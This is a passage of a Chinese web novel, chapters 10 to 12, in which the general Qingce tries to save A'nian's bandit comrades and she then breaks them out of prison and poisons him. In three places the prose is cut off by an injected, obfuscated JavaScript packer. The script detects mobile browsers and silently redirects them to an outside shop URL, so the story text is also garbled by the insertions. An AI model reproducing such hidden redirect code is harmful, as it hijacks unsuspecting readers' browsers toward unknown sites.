青策靠在床边轻笑出声:“然后你们山寨因为树大招风,被旧事重提,一锅端了?” “不是,是我见山下一车队路过,胡乱行驶压坏草地,那可有我们新培育的花种,要卖钱的。我们就揭竿而起,攻击了他们,只是…没成想…是三皇子的人马。” 青策闻言表情有了一丝起伏:“我道是周叁遭报应了,被打的破相不敢上朝,没想到是你做的。” 阿念下巴皱成个核桃,凑过来坐下拉住他的袖子轻摇:“你也觉得那周叁活该是吧,恶人有恶报,我们替天行道。可是弟兄们就要被斩首了,将军只有您能救万民于水火了。” “知道了,明日我进宫同表哥说说。” 阿念替他垂着肩膀,细声道:“谢谢。” 青策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿念见此收手回来,被水汽攀升的睫毛挂上细小的水珠,萌萌看着他:“当然要撇清关系。你对于我们这种底层老百姓来说是官,那太子对于你来说是更大的官。你要做的是呈报,他受着民脂民膏,合该体恤民情。他全全出面别人也不会拿他怎么样,你要包揽此事不是当靶子叫人打吗?” “我谢谢你为我找想,但我也不敢拿殿下当枪使。我知道分寸,你现在和我回家,他们我会命人安置。” 阿念浑身后倒,摇头抽手:“不要,我不要去你家,你妹妹你舅舅抽死我等下。” “不会。” 她气的在原地跳脚:“会的会的!你如此多余帮我,究竟是要我还不起你的人情,还是非得将我们搞得剪不断,理还乱!” “那你呢!说走就走,平常一封信也没有,有事才来寻我,你拿我当工具我不能从你这奢取些什么吗?” 阿念想说那不要你帮了。但这一句话关系到许多人的命。何况他所言也没有错,她站在原地,死死扣手。 雨声滴滴答答落入水洼,她咬着内唇瘪嘴抬眼:“一定要卖屁股吗?” 青策两眼一黑:“你睡,你就睡这里得了。” “走!” 恭候多时的甲赶忙上前给青策打伞,还不忘眼神数落阿念:你啊你啊! 一行人浩浩汤汤的来,依旧磅礴的走。 阿念杵在原地扣指甲盖,探头探脑的喊:“那原先的话还做不做数了?” 青策不想理她,又受不了她哭哭啼啼的模样:“明日一早雨停了就给他们送些被子和吃食来,再把这观给我打扫干净重建。告诉她我不是言而无信的人,就她有善心。” 乙点头称好,转头跑来借着雨水一个滑铲,溅起浪花。 阿念无语的看着自己被弄湿的衣摆和裤子。 “将军说,他才不是言而无信的人,就你有善心。” 阿念拿湿手在背后擦了擦,恭敬一礼:“多谢将军,多谢你们。” 乙被她郑重的模样吓到,耍帅都忘了,连连摆手:“你倒也不必。” 远处青策冷哼转头,扬过衣摆。 10. 霸道少将普渡失足少女 “山匪。” 清冽低沉的嗓音默念,阶上之人不疾不徐踱步下来。 纤长白皙的手指拨动着墨玉扳指,周冷渊挑眉看向青策:“何处的山匪有万余之众,个个配甲携剑。” 青策闻言出乎意料的楞在原地,心中暗骂,怪自己昨日没听完就捂人嘴,怪自己没查清楚就冒然前来,怪自己把阿念这个魔王想的太合乎常理。 他不知该如何接话了:“殿下恕罪,我道是小打小闹,至多不过十二个人。这…” 周冷渊身旁侍卫补充道:“共计,一万二千二百五十个。” 青策眉毛一高一低,不可置信的呵一声笑了。这个阿念,她这是山寨之主吗?她这是群山之首吧。 侍卫小哥继续拓展他的视野:“将军,您朋友是想给天下游手好闲之人一个家吗? 他占山为王后从良经商,用积攒下来的钱,左手开拓商业版图,右手招兵买马。不管好的坏的,主打有教无类。别山的匪盗也好,路上的乞丐也罢,连街头的小混混都不放过。” “照他这么下去,怕是离傲世群雄逐鹿天下不远了。您知道吗,那群山一代连绵数百里全被他们占了,三皇子要不是人马多跑的快,险些死里边。” 青策嘴角抽搐:“我…不知道。” 侍卫也叹了口气:“他们为首的话确实是十二个,如今被关押在天牢里。私藏兵甲,公然袭击皇室车驾,将军这是谋反呐。” 青策闭眼,知道她非池中物,但她简直不知天高地厚。 “将军,话说回来吧。如今还有一个最大的逃犯,也许可能应该…是你朋友。大理寺翻遍户籍,但他石头缝里蹦出来的一般,查无此人。” 青策叹息:“此事说来话长,但她绝无谋反之意。估计就是……” 他思索半天,破防道:“脑子有病!简直是脑子有病。” 宫女默默斟茶,侍卫缓和气氛:“您稍安勿躁,稍安勿躁。” “她…她就是个孤女。从前战乱流落边境,年初才逃回来,不慎被我撞失忆,没人认识,连名字都不知道,就成了一张白纸。” 侍卫闻言眼睛亮了:“哦哦哦,是您那个心上人吧?她没事啊?” 青策扶额头痛:“好险捡回条命,但……黑化了。自从玥莹瑶干出那事后她格外记恨,算了,她平等记恨所有达官显贵。” 他成功把阿念塑造成了一个,见官仇富,站在绵山脚下汪汪汪,见着王公贵族就要咬的不理智模样。 周冷渊少有兴致的听着八卦,轻笑了声:“恨的也该,倒是敢做。” 青策无奈叹息,绞尽脑汁想给她脱罪,但如今好似也只能,功过相抵。 他单膝跪下:“殿下她这人就是气性大些,绝无谋反之意。丰城,扬州之战皆由她全权谋划,真的,她绝无反意,就是性子倔,又没了记忆无法无天。殿下求您网开一面。” 周冷渊闻言,古井无波的扶起他:“孤倒还说,你的战术何时激进这般多。也罢,左右没寻着,就当无此人了。” 青策松了口气,跨出宫门跨入观槛。 彼时阿念正同亲卫们一道打扫旧观,他气势汹汹的进来一把将其拽到无人处。 “怎么样,那太子松口了嘛?” 青策咬牙瞪她,阿念不知哪惹到他了,抬眉游移,双手食指点点:“怎么,不顺利?那太子他不是正义的化身嘛…” “你和我说是小打小闹,现实是你豢养私兵谋害皇室,你那是给周叁教训嘛?你都快把他砍死了!” 阿念闻言脚尖点地转了转圈,嘟囔道:“那不还没死吗,谁知道是三皇子的马车。” 青策胸膛起伏憋了半晌,怒吼道:“你简直气死我了!” 纤纤玉手轻抚着结实的胸肌,阿念满脸真诚,关切道:“不气,不气。对不起嘛,人是略微多了些。” “那是一点吗?你做事太无章法了,你现在也是通缉犯你晓不晓得严重性。” 真的是越说越气,到头来发现只有自己在气,通缉犯本人还一脸无所谓的叫人更为恼火。 青策坦白了和她讲:“你那十二生肖兄弟,本身就有案底。只是因为在当时的情况下朝中局势紧张,事情要分轻重缓急,相比之下可以搁置,暂时才没人管。待殿下肃清朝野后他们跑不掉,如今敢顶风作案,我还算你做了件好事。 说到你,阿念,你要不是黑户现在就在牢里了知道吗,倘若那时你也被抓住,都来不及寻我就上断头台了,这件事你做的简直太无法无天!” 阿念放下手攥着衣摆,有些焦虑道:“此事是我欠考虑,但青策你帮帮我吧。太子不是和三皇子不对付嘛,此事还不是他一句话的事。我那帮弟兄从前是有点法外狂徒,但如今都金盆洗手了,不能给他们一次机会吗?” “机会?你就单知道个劫富济贫的虚假好名声,昔年帝都商贾秘密响应殿下号召,往处发展资贫助困,全被他们抢了。 还有因他们抢劫导致货款抵不上,家破人亡的,还有当场被吓死的,顽抗被重伤的,等等等等。这些年被他们所害之人不计其数,难道自己过的不好就要把别人的伞也给撕了吗? 我明确告诉你,他们落到如今死罪不单单是因为袭击皇室,而是数罪并罚。殿下不仅仅是我们的殿下,也是天下人的。国有国法,家有家规,他们是咎由自取。” 他说的前缀阿念不知道,她垂下头握紧拳,眼泪大颗大颗砸落在地,与泥沼中的水洼混和:“是我害了他们。” 青策叹了口气,扶住她的肩膀:“阿念人是复杂的,坏人可能也有柔情的一面,但一面抹不去千百面。” “那…他们皇室就没错吗?要不是因为太子脑子不灵清让位给庸王搞的国家沦陷民间疾苦,才致使匪盗横行。他没有罪吗!” “你再敢妄言!” 阿念红着眼眶,颤抖的呼了口气,偏头不再看他:“那你把我抓去天牢请赏好了,我是主谋。我也没脸见他们的家人,还不如死掉。” “不可能。我今日就是来带你去重新办户籍的,从今往后,你给我更名改姓做个奉公守法的正常人。” 她往地上就是一坐,撒泼打滚起来:“我不当人了,把自己弟兄都害死了我怎么苟活!” 青策闭眼,无能的发力急:“知道会死你还去做!我还没找你算账,你说周叁压坏你的花,你花种在路中间几个意思,而且那是你的地吗,那是国道姐姐。阿念你到底在玩什么花样,你究竟要做什么?” 粉红的唇瓣突兀的勾起,她突然笑道:“我就是恨。” “我恨这世界的命脉掌握在万分之一的人手中,你们的爱恨纠葛,要叫我们的生活翻天覆地,朝不保夕。若非这帮该死的天子皇子还有太子,我怎会沦落到边境,变成如今这般记忆全无,我就是要弄死他们!” 青策眉头皱起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239496|197665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把捂住她的嘴拉起她:“胡言乱语。往后这种大逆不道的,休要说了!回家。” 阿念挣脱他,气到骨节作响扭动着下巴,恢复冷静后道:“回什么家,我哪有家。你不帮算了,我自己想办法。” “你想什么办法,中午去劫法场?” “管你什么事。” 青策被气笑:“我当初就不该放你走,被这群土匪的歪风邪气吹的人都不像人了。阿念,我不是在和你商量,是通知你。” 阿念连连后退:“什么叫你放我走?我爱走就走。你凭什么通知我,你算老几。” 青策懒的和她废话,弯腰一把将人扛起就往处走。 “放开!放开放开!” 阿念挣扎无果后泄力的开始思考。 “他们具体所犯何罪?” 青策将她先送上马背,随后利索上马:“那是大理寺的事,我只能告诉你这次的结果,完全公正,依法治罪。” “天家叫你们行军打仗也有伤亡,是不是也要治罪?” 青策牵着缰绳,不知道这人哪来这么多歪理,不屑哼笑:“你去治。” “阿念,强者为王,败者为寇,小到人与人,大道国与国,这是世间残酷却无法被推翻的规律。但是就像崇山峻岭中也有平原,万千世界无奇不有,有处纷争,也有处安和。若你不学好的学坏的,因为自己处境差就去殃及池鱼,叫无辜人落难。而别人也会反击,最普遍的武器,便是法律。 同样是是对垒,一个靠蛮力一个靠法律。你输的还有什么疑异吗,难道因为还没有人能惩罚大人物的错,就能因此当做挡箭牌正大光明的犯罪吗?勿以恶小而为之啊念念。 这群人不是因你而落罪,是因为自己。若你因为他们对你笑就要包庇,那你才是在滥用私权。你要结交的人该是表里如一,笑看世界的人,而非对你假笑却对别人赶尽杀绝的兽。天网恢恢疏而不漏,非你之过。” 青策看向她:“有的人可以有弥补的机会,有的人只能以死谢罪。你如今的念头和行为处事,偏执过头,在将自己往深渊推。阿念,怨天尤人是没有好结果的,世间有坏人就有好人。庸王是坏,残害百姓,但昔年殿下和嫂嫂同样在坚守正道,尽所能为大家撑起一把伞。” 他轻轻整理好乱掉的麻花辫:“不管多难都要坚守正道,勤勉自立。就好比将这世界分做两队,你认同哪队就站哪对,而非站在坏队喊着好名头骗人骗己。” 阿念闭目也苦笑:“历史的洪流中,多数人不过蜉蝣,随波逐流。大字不识几个,道理不明什么,眼睛一闭一睁却发现自己该死了。” “弘扬正气任重道远,混沌已然渡过。往后江河湖泊,只流向一个目的地,大海。所以你我才该努力向前,扬国法,振国威,兴万邦,方可普渡众生,造福万民。” 阿念侧头,满含着泪的眼睛看向他:“抱歉青策,他们烧杀抢掠我实不曾见过。但他们帮扶老幼我亲身经历,功过相抵,能不能…” “板上钉钉了。” 青策递上帕子:“别再想了,观里的人我会安置。殿下已将你们绵山的后续事物全交给我,他还夸你呢,在那么落后的地方建立产业带动起来。你和我回家收拾,我们一同前往,安置好他们的家人还有你那些虾兵蟹将。” 阿念转回,低着头默默梳鬃毛。 小黑今天马脖子都快被眼泪腐蚀了,不爽的yu了一声。 11. 自古英雄难过美人关 彼窃钩者诛,窃国者诸侯,诸侯之门而仁义存。 毛如锦缎的黑马扬起前蹄,骏骨龙姿威武非凡。 阿念猝不及防撞进结实的怀抱,似攀藤绕树,细语道:“青策,你待我同观里的人讲两句话,陡然这样他们会怕的。” 青策单手勒马持缰,制住日常顽皮的小黑,闻言道:“好。” 他靠在道观口的无名树下静候,飘叶遮蔽一时光景,眼见其垂头丧气的出来,遂将披风解下给她:“我来时见街角那家糖葫芦又上新了,说是里头还夹了秘方。待会儿路过,我给你买。” 大颗的草莓被切开个豁口,里头的奶球夹杂着蜜渍过的柠片。入口多汁,再品醇厚,嚼碎清酸。 阿念嘴巴塞的鼓鼓囊囊,却依旧愁容满面不见喜色,青策弯腰打量她:“不好吃的话,那就换一个。” 怎料一句话牵扯出许多泪来,阿念破碎的靠进他怀:“好吃,比以往的都好吃。可是一想道牢里那十二个,这辈子连如此高端大气上档次的东西都没尝过,就要死了。我…我……青策,你能不能让我见他们最后一面,给他们带点好吃的,吃完再上路。” 面对突如其来的靠近,青策双目望天,安慰的拍了拍他:“没事的阿念,牢里最后一顿可以自己选。” “不一样,才不一样。青策,求求你了。” 天下阳谋唯有美人计屡试不爽,青策眼看着手上的东西逐渐堆积成山,一匹马都快驮不下来。 甲乙同样,双腿颤抖投来求助的眼神:“将军,那不是这么个买法的呀!” 青策放下东西,上前拍了拍她肩:“你是不忍看他们痛死,要将他们活活撑死吗?” 阿念纯真的摇了摇头:“话本上都说进牢门前要打点看守的。” 青策挑眉,无语的偏过头去:“现在已经禁止受贿了。” “所以啊,我买点东西一起吃,处决的时候也好待我十二将温柔些。” “得了吧。” 青策无奈扶额:“要是行刑者温柔一刀,你不怕脖子要断不断,脑袋要掉不掉?” 甲乙被青策的东西一放,整个人连头都看不见了,苦嚎道:“阿念你是去探狱的,还是去拜年的。不知道还以为你那帮兄弟嫁给阎王搞阴婚呢!” 她闻言又啪啪买了两盒糕点,甲乙顿时如虾兵蟹将般,左两步右两步。已经不是纯考验毅力了,还有平衡。 阿念挥了挥衣袖,转回头自顾自走进一旁成衣铺子。 青策的耐心濒临极限:“姑奶奶你还要买什么?” “死之前不能穿的体面点。” 青策呼了口气:“姐,他们要穿囚服。再说,真的拿不下了。” 阿念一言不合的抱着他就哭:“你太冷血了,他们都要死了就不能有新衣服吗,都要去地府报到了,买点东西怎么了?” 大庭广众之下,众人投来狐疑的目光,有人直接撇了衣服:“老板你们家衣服还卖给死人,天的,太晦气了。” 掌柜的苦笑迎来:“二位有话好好说,里边请,里边请。” 青策轻轻推开她:“买买买,您继续买。” 阿念下一秒收了泪,转头继续挑选:“还买买买,当然得买,又不是花你的钱,嘁。” 被迫换了辆马车,阿念就这么大包小包,一路过来一路掏钱。不拿钱就给堆吃食,还点头哈腰的给人倒水。 守卫上秒一脸不屑,下秒连连同她对拜:“不必,不必,姑娘您请。” 阿念充耳不闻,只是一个劲塞:“真的太麻烦你们了,小小心意,不成敬意,吃点。” 众人抬眼打量后头那默不作声,又高大威武的跟班。职场生存指南警铃大作,赶忙接过:“多谢将军,多些姑娘体恤。” 这吃点那喝点就来到牢底。 十二人横七竖八躺在牢中哀怨,忽看她来,如见救星。 “寨主!” “大家!” 十三个人隔着牢门,多向奔赴。 青策则无语的靠在一旁,看着他们破镜重圆。 众人注意道他,探头探脑道:“当家的,这是…你新收的男人?” “还有旧的?” 青策威压过来,十二人吓的连连摇头:“您是第一个,第一个。” 更有激灵的喊道:“压寨夫君,姐夫诶呦我的姐夫,盼星星盼月亮,可给您盼来了。” 见守卫解开门锁退去,众人适才还面如死灰,当即重获希望,止不住的兴奋:“当家的,我们是可以出去了嘛?” 阿念闻言低下了头,青策心照不宣的背过身去,默默嘟囔:还来做什么,徒增伤悲。 冰凉的触感先一步攀上脖颈,无比熟悉的气息,叫他一时忘了防备。 “对不起。” 小刀撤下,阿念抽出他腰间的剑,这才不必垫脚。 后头十二人懵了,一瞬后心领神会,蜂蛹加入:“抱歉了,姐夫。” 沿路过来,适才的守卫全都东倒西歪的捂着肚子。 青策咬牙切齿,头一次被自己的佩剑抵着脖子,被一帮乌合之众架着走。他青筋暴起,怒道:“阿念,你到底为什么!” 以他的战力她们一招不慎就会被反制,阿念聚精会神的握着剑柄,不敢近一步,会伤了他。不敢退一步,会死弟兄。 往日那双无比清明的眼眸被复杂的墨水染尽,她的每一句话都用尽了气力:“我不是你,不想懂那些大道理。我只知道,他们对我好,我就得对他们好。他们绝不能因我而死。” 他闭目,痛心疾首道:“冥顽不灵,阿念你清醒一点,一旦踏出这个门就是公然与天家做对。此事闹至明面,别说你们一万人,就是十万也得灰飞烟灭。都不说你们一万人是包括了山上山下所有的村民,真要反抗不堪一击。他们十二个人的死已经是朝廷对绵山最大的宽限。” 十二人闻言也有一瞬的游移:“当家的…” 阿念紧了紧刀柄,怒其不争道:“若不是我叫你们打周叁,你们怎么会自投罗网。出了门天高皇帝远,不可再做恶,带着家人去哪都好。下半辈子行善积德赎前半生的罪,或是被抓了依法处死都随你们的命。这次的事是我全权谋划,总之谁都不能因我而死。你们朝中一群酒囊饭袋,也都别想借我的东风。” 青策骂道:“你昏了头了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239497|197665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁官闯出天牢门,大批布衣接应而至。为首便是道观中那几人,众人上了马车,青策被杂七杂八的人束手束脚,肺快要气炸了,挣扎道:“阿念,别叫我抓到你!” 抽刀之际,柔软的唇迎着清风相触,一颗药丸顺着喉头流下。 城外。 赶来的卫军追击逃匪,亲卫在路边捡起自己嘴角渗血中毒至浅的将军。 乙卫将人抗上马,一边猛猛赶路,一边痛哭流涕:“都说自古英雄难过美人关,将军啊,您别死啊,您撑住啊。” 甲卫气的仰天长啸:“阿念,我与你不共戴天!” …… 青策第二次荣登帝都风云榜榜首:红颜祸水巧施小记,冷面少将革职降薪。 青曲才是真的痛心疾首,本来青策此次收复失地军功卓越,封侯拜相指日可待。这下不仅成了泡影,还成了全帝都的笑话。 大殿之中噤若寒蝉,一声轻笑打破僵局:“阿策,为将帅者亦如操刀,对敌人锋利的东西,对自己也是同样。如今帝都闹的沸沸扬扬,革职也是暂避锋芒。此去绵山,将功补过,莫有差池。” 父子两接旨退去。 …… 山一带,水一派,流水白云常自在。 道路平坦宽阔,晴空万里无云,两面青山不改。驾马迎风驰骋,肆意天地快活。 绵山道口,远远一人孤身等候。见他们到,起跳摆手:“将军。” 乙见此瞠目结舌:“念…你个死阿念!这么明目张胆的在这…找,找死呢!” 甲依旧仰天长啸,双手爆发肘击:“啊!拿下!” 青策后槽牙下意识咬紧,小黑yu的一声,一马蹄踩碎路中娇花,卡巴卡巴嚼嚼。 眼见他抬手制止,甲乙大惊:“将军,您不会还要包庇她吧!” 阿念没事人一样走来,仿佛半个月前挟持下毒的人不是她。 她直勾勾的笑看着马背上人,弯腰递上什么:“将军,这是绵山匪盗所有积蓄和产业。以及我们将深山老林的住户都迁移到了统一建造的村子中,这是统计。” 她招了招手,后头拖来满满一堆被捆住手脚的人。 阿念摘下面具,拿过厚厚一沓通缉告示,对着人一比一,对照展示:“这些呢,是小的们为您准备的将功折罪大礼包,包涵了全国各地的特产,有夷陵在逃杀人犯,甘州在野小毒犯,玉门蛰伏纵火犯……” 青策冷笑:“哪个有你的人头值钱。” 阿念闻言笑呵呵的凑过来,仰着白皙细长的脖颈好似求掐:“给你呗。” 乙不爽的翻白眼,上前一把推过阿念的肩膀,给人摔了个屁股蹲:“你不是最讲义气了吗,怎么这群通缉犯就不是别人的弟兄,你怎么抓来。” 阿念当即爬起来,双手重重还去一击,抱胸道:“别人的又不是我的,抓就抓了,他们大哥有种也来和我打呗。” 甲刚要出手,却被格挡,一把甩开。侧头一看是下马来的青策,他向下肘击,对天怒吼:“将军,为什么不给她点教训!” “我好怕怕呦。” 阿念摇头嘟嘴,这模样真是欠揍。 12. 我替你报仇,你还我自由 “简直就是农夫与蛇的故事,简直就是烂心烂肺的烂女人!” 甲乙隔着扇门狂吠,屋里阿念怡然自得翘着二郎腿充耳不闻。 青策翻阅着桌上简明扼要的人员名单,以及资产明细。 绵山远离城外,除了山寨就是零散到稀碎的村落。她一开始带人走南闯北,倒卖赚快钱,有了积蓄后回来开辟荒山自产自销。不论小规模的纺织手工,两个大头畜牧业和农业已然很有起色。 他细细看完,啪的一声脆响,合上册子:“缺的十二家人呢?” 阿念闻言也合上书,利落跳下小榻,实话实说:“跑了呗。” 青策抬眼看向她,脸上不见以往亲和:“你在助纣为虐。” “青策,你说世上有两队人。不是的,有三类。 你之前说的两队,他们的视角是单一的。可怜的商人不知道自己会遭遇匪患,可恶的盗匪也不会意识到自己的恶行。而你是第三类,拥有完整且全面视角的旁观者。无可厚非,你的选择是最为正确的。因为与你而言这是,这只是一桩如白纸黑字般的事,你代表的是公正。 我若是被害的商人,会竭尽所能,不遗余力报仇。可我是盗匪,你说我徇私舞弊,的确是,说我包庇罪犯对不起受害者,也的确。 那日你同我讲的那么多,向我伸出手,拉我入第三视角。我有游移和挣扎,但是我背不起匡扶正义背弃朋友的事。” 她叹了口气,伸出手:“对不起,你治我的包庇罪吧。” 青策狠狠拉过她的手,将人拽至跟前:“你真的以为我不敢抓你,你何止包庇,光劫狱就够你死的了。” 他冷笑着恶狠道:“你以为如今还像十年前那般混乱,可以叫罪犯浑水摸鱼,我不会放过他们。” 兜兜转转还是逃不掉,阿念近在咫尺的眼睛轻轻闭上,双手抱拳:“万般皆是命,半点不由人,福生无量。” 青策冷哼:“说你重情重义简直侮辱字句,你分明是冷血又胆小,不怕他们死,就怕他们死的和你沾边。” “沽名钓誉。” 阿念轻笑,左眼率先睁开,显得娇俏可人:“被看透了。” 青策后槽牙咬碎,看着这货怎么就这么恼火,想咬她又不想咬死她。 “我同将军一个屋檐下待了这么久,都可以利用你伤害你。他们?不过半年多,又何谈情意。我失误导致他们落网,如今弥补救下,便离散无缘,他们自己的恩怨与我何干?你指望我一颗心抛在陌生人身上,为此难过到死吗?” 阿念突兀的笑出了声,与往日明艳清丽的面目大为不同:“你当我们最初相识那些话是率性,不过是我装纯骗你的。谁想到你这么好骗,勾勾手就过来了。怎么样,这么善良正义的少将,会不会因为喜欢过我这个坏人而觉得恶心?” 这土匪窝的风水养人,给他一个香香软软的可爱念搞成了邪恶魔头。青策率先放下姿态,松了口:“好了对不起,我刚刚不该那么说你。” 阿念撇眼,轻哼:“你要抓我回去讨赏吗?” 青策翻她个白眼:“徇私情,而无大义。你罪无可恕,自然要逮捕归案。那十二个人我会抓回,你的罪向我来赎。” “怎么赎?” 桌下的手攥紧衣料:“嫁给我。” 阿念不可置信的笑着敲了敲他的脑袋,实心的。又晃了晃,没有水。这才认真的思索起来。 “别说你还真挺狠,谁不知我害的你革职,上升无望。一阶孤女,身世存疑,你一个世家大族的独苗苗。怎么进门先不说,我要是进了你家门,你家里人不弄死我。” 她站起身来畅想着,自己一边洗手做羹汤,一边早起给婆婆请安罚跪,平常还得宅斗。这漫漫无望,且没有下限的苦逼日子。 “你好狠呐青策。” 小处男死死咬唇:“婚嫁是我个人的事,只要你愿意,家里那边我自会解决。” 阿念手指点唇:“噢是吗,还能拒绝?那我拒绝。” 青策一把起身,巨大的身影笼罩,将她裹挟:“拒绝你做梦呢,亲薄完我就想跑,有你这么好的事。半年多就把自己弄成山匪,再往外跑你可真要去做敌国奸细。” 阿念闻言笑道:“我才不往外跑了,我也要回帝都。” 青策闻言一愣:“回去干嘛,身世有眉目了?” 她挑眉摇了摇头,一举跨上桌子,叉腰指天:“你说的对,这世间便是大鱼吃小鱼,小鱼吃虾米。我要立于不败之地,就得往上爬!” 青策闻言,无语着她又开始天方夜谭:“你怎么爬,变成蜥蜴同手同脚爬吗?” 她忽的蹲下,两人鼻尖相触,阿念抱歉的挪后一些:“权贵校内考,寒门走科举。本人两袖清风,当然是科举啦。” 他眯眼:“别跟我说你要女扮男装入仕。” 阿念嘻嘻笑道:“将军猜的是。” 青策对她这人真是无言以对:“被发现了怎么办。” “凉拌加个鸡蛋。” “你要往上爬干嘛?” 阿念不解他为何不解:“立于不败之地啊,奴婢会被发卖,土匪会被围剿。我打不过你们,只能加入了。” 青策闭眼点头:“你现在就天为被地为床,躺下睡觉,说不定梦里有。” 阿念不爽的翻眼:“瞧不起谁呢。” “我不是质疑你的能力,是说,你这么做不现实。” “浮生若梦,你怎么知道如今就是现实,你怎么就确信,脚下的一砖一瓦不是虚无。” 青策抬手:“停,你最近又看什么书了?” 阿念笑嘻嘻举起《状元修炼手册》 青策被她搞笑了,抓住她的肩膀晃晃:“阿念你清醒一点。” 阿念挣脱摇晃:“对了,还有个东西给你看。” “什么?” 她白花花的半个肩,青策懵逼中,脑子还未反应过来,脸已经爆红,迅速背过身去,急的直跺脚:“你干嘛,美人计对我已经没用了,你真是像什么样子!” 阿念恨铁不成钢的拉回衣服,拍了拍他的肩膀:“我叫你看看我左处可有箭伤噻?” 青策心慌意乱的转身回来:“收复边境以后,我有派人去调查你…先前做工的店。说是一天你不知何时直挺挺躺在店前,她们就把你捡了。” 阿念闻言眯起眼睛,心中暗暗发虚:“那我为何要骗书生夫妇我心口有伤?店里人怎么说,我可有伤?” 青策摇了摇头:“认识你的都逃了,剩下的与你不相熟,不知道你有没有伤。” 他说着说着突然憋笑:“只说你不讲卫生,很臭很臭。” 阿念大惊:“怎么可能你找到假店了吧!我以前做什么的?” 轮到他虚了,青策稀松平常道:“饭店端盘子。” 阿念盘算道:“青策眼下只有两种可能了。 一,我是细作,仗着自己长的漂亮,来一个扑朔迷离的身世,和高度吻合你嫂子的马脚,以此来被动被人发现,接近太子,探得情报。 二,我还是细作,书生夫妇也是我的同伙。但是无巧不成书,我撞失忆了。他们就借机顺水推舟…” 青策挑眉哼哼笑道:“他们后来有私下联系过你吗?” “虽说不曾,但许是你表妹下手太快,他们还没来得及我就被卖了。” 青策叹了口气,点点头:“你这奸细做的,可把自己人害惨了。” 阿念闻言咬唇,郑重点头:“没错,走到如今这个地步,不管我真是逃荒狐女,还是敌国细作,我都已经被圣朝策反了。” 她突然抓起他的手,附上自己柔软的肚子。 青策刚才平稳的心,霎时又弹射起来,慌忙抽手:“你你你,又干嘛!” 阿念无辜的眨了眨眼:“山寨门口的大黄,我刚来的时候,一见我汪汪的狂吠,那叫一个凶悍。后来混熟了,每每见我就露出个白花花的肚皮。他们说这是动物界的示好,把我最柔软脆弱的地方袒露给你,和你表示我没有坏心。” 青策咬着虎牙,呼了口气:“得了吧你,你是猴子还没进化吗?” 阿念双手呈直角放脑袋上,鱼一般的游过来:“我才不要当猴子,我要当鱼。像只鱼儿在你的荷塘,只为和你守候那皎白月光~” 她说着说着突然起唱,唱着唱着突然起跳。 青策 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青策叹息这扶上她的肩:“好了,别提此事了。” 他垂眸就见她衣领上沾了白泥,顺手去擦:“你这…” 阿念见此,立马捂住连连后退:“干嘛,你要轻薄我!” 青策赶忙解释,指着她那处:“没…不,不是,你衣领子上好像蹭到墙灰了。” 阿念拿手扇出残影,衣领瞬间整洁如初:“好的,谢谢。” 空气突然静默,她垂下眼:“出门左拐是厨房,我饿了,想吃你做的面。” 甲乙在门外骂的口干舌燥,转头看见自家将军出来,邀功般凑上。 青策抬手制止:“去里面守着,看好她。” 两人雄赳赳,气昂昂。左踢腿,下拉手:“收到将军,保证完成任务!” “还有,别骂她。” 两人瞠目结舌,不是?自己为谁骂的。 转悲愤为怒气,两人进了门,脚踢凳子,猛踩桌子:“诶你,你就走着瞧吧。我们将军心好,但其他人可不是吃素的。” 阿念笑着掏出两巨袋上好的草莓干,小碎步上前:“这次是我不周道,上次…” 剑柄啪的一挥,草莓干滚落在地。 “你这是不周到?简直是不地道,谁知道你这东西里有没有下毒,我们可不敢吃。” 她敛了笑,蹲在地上一个个捡起放回:“爱吃不吃。” …… 更瞠目结舌的还在后面,只见不久,青策端着碗进门。仿佛前呈恩怨尽消的模样,径直放在了某人面前:“趁热吃。” 阿念昂头,眯眼笑看两人,顿时扬眉吐气。 丝瓜虾皮鸡蛋面,翠绿软趴的丝瓜刚一入嘴,哗的顺着喉咙滑入了胃。鸡蛋嫩滑,汤汁清鲜,虾皮简直点睛之笔,增添整体风味,与这汤,你中有我,我中有你。 一口下去,整个人火气都降下来了。 甲乙痛心疾首:“哈呀,呀呀呀!将军你这样,不成功的呀!” 阿念拿帕子擦嘴轻笑,弱柳扶风,虚虚靠在青策身上,拿手点他俩:“他们刚刚欺负我。” 这种事,众目睽睽之下真的好吗。青策不想推开她,也不想被当猴子看,挥了挥手:“下去。” 甲乙道心破碎,边走边向下肘击,仰天长啸:“妖女,我们与你不共戴天!” “啊哈哈哈哈哈哈哈。” 阿念捂嘴,拍着大腿前仰后合,依旧反派笑声。 青策夹在中间很是无语:“你也够了,快点吃吧。” 晚间。 纸张上的计划一、占山为王。被打了个大大的叉。 那么只有计划二了,深入敌人腹地,伺机而动。 橙红的火焰吞没纸张,一缕月光照如楼阁。褪下粗麻衣衫,擦去铅粉。饶是剜去腐肉,药石敷养,伤处也难如常肌。阿念叹息,下回得换个好牌子。 灰暗的房间,女子肌肤与月光相称,焕发着盈盈的柔光。 玉白的指尖泛红,镜前人探手相触,与镜中人额头相抵。 “我替你报仇,你还我自由。”